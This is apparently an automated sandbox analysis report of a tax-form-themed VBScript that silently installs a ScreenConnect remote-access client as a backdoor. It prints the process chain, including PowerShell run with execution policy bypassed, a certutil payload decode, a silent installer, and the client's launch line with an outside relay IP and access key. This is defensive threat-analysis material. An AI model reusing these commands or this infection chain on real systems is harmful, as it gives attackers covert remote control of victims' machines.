Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/08/2026, 17:14

General

  • Target
    IRS_Form_8879.vbs
  • Size 14.4MB
  • Sample260810-vr4wfahe22
  • SHA256 752cae85cdf4227ff78f69bb905dca965b673d3a37df6970096d447fa842010a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 13 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IRS_Form_8879.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3596
    • C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3328
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\loader.ps1"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2396
        • C:\Windows\system32\certutil.exe
          "C:\Windows\system32\certutil.exe" -decode C:\Users\Admin\AppData\Local\Temp\payload.b64 C:\ProgramData\Microsoft\Windows\ScreenConnect.ClientSetup.exe
          3⤵
          • Deobfuscate/Decode Files or Information
          PID:4360
        • C:\ProgramData\Microsoft\Windows\ScreenConnect.ClientSetup.exe
          "C:\ProgramData\Microsoft\Windows\ScreenConnect.ClientSetup.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2516
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\e372956e875cf90e\ScreenConnect.ClientSetup.msi"
            4⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:4736
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1408
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 01F60FAE88A4C0F6CF0F138B270D1ED3 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2824
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2C5A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240659796 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:3492
      • C:\Windows\system32\srtasks.exe
        C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
        2⤵
          PID:552
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding CEEC284070278C062BCA215FEABD9AF7
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4724
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding A87E246654A7D2B345EAF81DB78D18F6 E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4076
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:3028
      • C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=2.27.49.47&p=8041&s=10264b3f-b681-4f9d-8f24-187402755a55&k=BgIAAACkAABSU0ExAAgAAAEAAQANxVToV2CJXpn%2bKz67VH0zv6%2blU8GZO7BbB9kKj7ahG0IXirnOsgH%2b6%2bVKHSCBYq9mnJykSkuBwdzjDt6sLI3P8ahBHf6ICpR1gMJKf7%2b%2fyHiPA2JCW9HCVu9tbTDjzemTIdJ54QAdB9Wl0B7ltI%2fqtkj2cjlp9dWmtftblwL2g8j%2fFzdrvMwn1z%2fbpnKCrDchkZCp68QPQxBddae31bQc2%2bAC6hobqMjZFR%2fvWh85qnkCCNQsgMD%2f3jS0UVLQA%2bsMEjOTd6OL9MEul24ADyvSGuTKDbIRfOPtjpTVu7jRRxEX6MSRKzO1CXTPkU2pueSGloBlZ1lhG1Rpz3i6sPqZ"
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:644
        • C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe" "RunRole" "f64334d8-2d5e-4294-98a6-c624542b9d1f" "User"
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:4284
        • C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe" "RunRole" "09b308d9-f71d-4065-9467-4a66cb3c945f" "System"
          2⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:1644

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e587730.rbs

            • Path C:\Config.Msi\e587730.rbs
            • Size 214KB
            • SHA256 7d7fceafad1fe8f860b198245403960231a52c595eca524322484e19d17307db
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\Client.en-US.resources
            • Size 48KB
            • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\app.config
            • Size 508B
            • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\system.config
            • Size 942B
            • SHA256 9b6f8ac95ffbfa766c27bd75f5968328cbc52bc8eadb10ab68a3a0374451d24b
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.ClientSetup.exe

            • Path C:\ProgramData\Microsoft\Windows\ScreenConnect.ClientSetup.exe
            • Size 5.4MB
            • SHA256 42b70e588e4f40907e04ce170841e6f10986e98557e9117be933393c30df1d63
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI2C5A.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C5A.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C5A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C5A.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C5A.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI2C5A.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\e372956e875cf90e\ScreenConnect.ClientSetup.msi
            • Size 9.5MB
            • SHA256 9aaef578c416a3d666f1345e3ff738ec46a8d5056af25012d6702455d2e17e3e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_lyhirxh0.1uz.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lyhirxh0.1uz.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            install_log.txt

            • Path C:\Users\Admin\AppData\Local\Temp\install_log.txt
            • Size 8KB
            • SHA256 4fe35d21cd6a19b1d1f4c8f70f257ca353a021fc9a432b31a34ceeb4ff726469
            • MD5 SHA1 SHA512 SSDEEP TLSH

            install_log.txt

            • Path C:\Users\Admin\AppData\Local\Temp\install_log.txt
            • Size 9KB
            • SHA256 e31ea295c323b5f0c36103ca0f96772498acb232591323eefc769a89c94efdb0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            loader.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\loader.ps1
            • Size 7.2MB
            • SHA256 7d1429efa3061015121961f12287c3e21e8f8efb80dec759a0f8d9524b0af0e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            payload.b64

            • Path C:\Users\Admin\AppData\Local\Temp\payload.b64
            • Size 7.2MB
            • SHA256 da1001e1e7d81b6be17d9754bc481d8f400b34d2a07fa4e380e4829bc6534860
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI78E5.tmp

            • Path C:\Windows\Installer\MSI78E5.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 24.1MB
            • SHA256 2300fd8a0b9c2e411ba3c9ffd48173ba64b37adef84704599fea6fc35bd2ee40
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {840a865e-8920-4120-b69b-d76a3a7e2b5e}_OnDiskSnapshotProp

            • Path \??\Volume{cd0aa2ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{840a865e-8920-4120-b69b-d76a3a7e2b5e}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 9c29a255e7692f277d30d83d265cb8144f8ee10e1a9caea0a0bc94ab254280d8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/644-309-0x0000000003EB0000-0x0000000003F85000-memory.dmp

            memory/644-300-0x0000000003990000-0x00000000039E0000-memory.dmp

            memory/644-305-0x0000000003CD0000-0x0000000003D62000-memory.dmp

            memory/644-304-0x00000000039E0000-0x0000000003A16000-memory.dmp

            memory/644-307-0x0000000003A20000-0x0000000003A61000-memory.dmp

            memory/644-289-0x00000000011D0000-0x00000000011E8000-memory.dmp

            memory/2396-74-0x000002BDA53D0000-0x000002BDA53E0000-memory.dmp

            memory/2396-3-0x000002BDA74C0000-0x000002BDA74E2000-memory.dmp

            memory/2396-2-0x000002BDA53D0000-0x000002BDA53E0000-memory.dmp

            memory/2396-16-0x000002BDA53D0000-0x000002BDA53E0000-memory.dmp

            memory/2396-1-0x000002BDA53D0000-0x000002BDA53E0000-memory.dmp

            memory/2396-132-0x000002BDA53D0000-0x000002BDA53E0000-memory.dmp

            memory/2396-131-0x000002BDA53D0000-0x000002BDA53E0000-memory.dmp

            memory/2396-15-0x000002BDA53D0000-0x000002BDA53E0000-memory.dmp

            memory/2396-73-0x000002BDA53D0000-0x000002BDA53E0000-memory.dmp

            memory/2516-29-0x0000000005610000-0x0000000005632000-memory.dmp

            memory/2516-26-0x0000000001650000-0x0000000001658000-memory.dmp

            memory/2516-27-0x00000000059E0000-0x0000000005CD2000-memory.dmp

            memory/2516-28-0x0000000005580000-0x000000000560C000-memory.dmp

            memory/2516-30-0x00000000056E0000-0x000000000588C000-memory.dmp

            memory/2516-31-0x0000000006280000-0x0000000006824000-memory.dmp

            memory/3492-55-0x00000000051C0000-0x00000000051EE000-memory.dmp

            memory/3492-59-0x00000000051F0000-0x00000000051FA000-memory.dmp

            memory/3492-67-0x0000000005640000-0x00000000057EC000-memory.dmp

            memory/3492-63-0x0000000005400000-0x000000000548C000-memory.dmp

            memory/4284-320-0x000000001AFC0000-0x000000001B04C000-memory.dmp

            memory/4284-321-0x000000001B200000-0x000000001B3AC000-memory.dmp

            memory/4284-330-0x000000001B540000-0x000000001B6C6000-memory.dmp

            memory/4284-335-0x000000001AAF0000-0x000000001AB08000-memory.dmp

            memory/4284-334-0x0000000002290000-0x00000000022A8000-memory.dmp

            memory/4284-318-0x0000000000080000-0x0000000000118000-memory.dmp

            memory/4284-319-0x00000000022D0000-0x0000000002306000-memory.dmp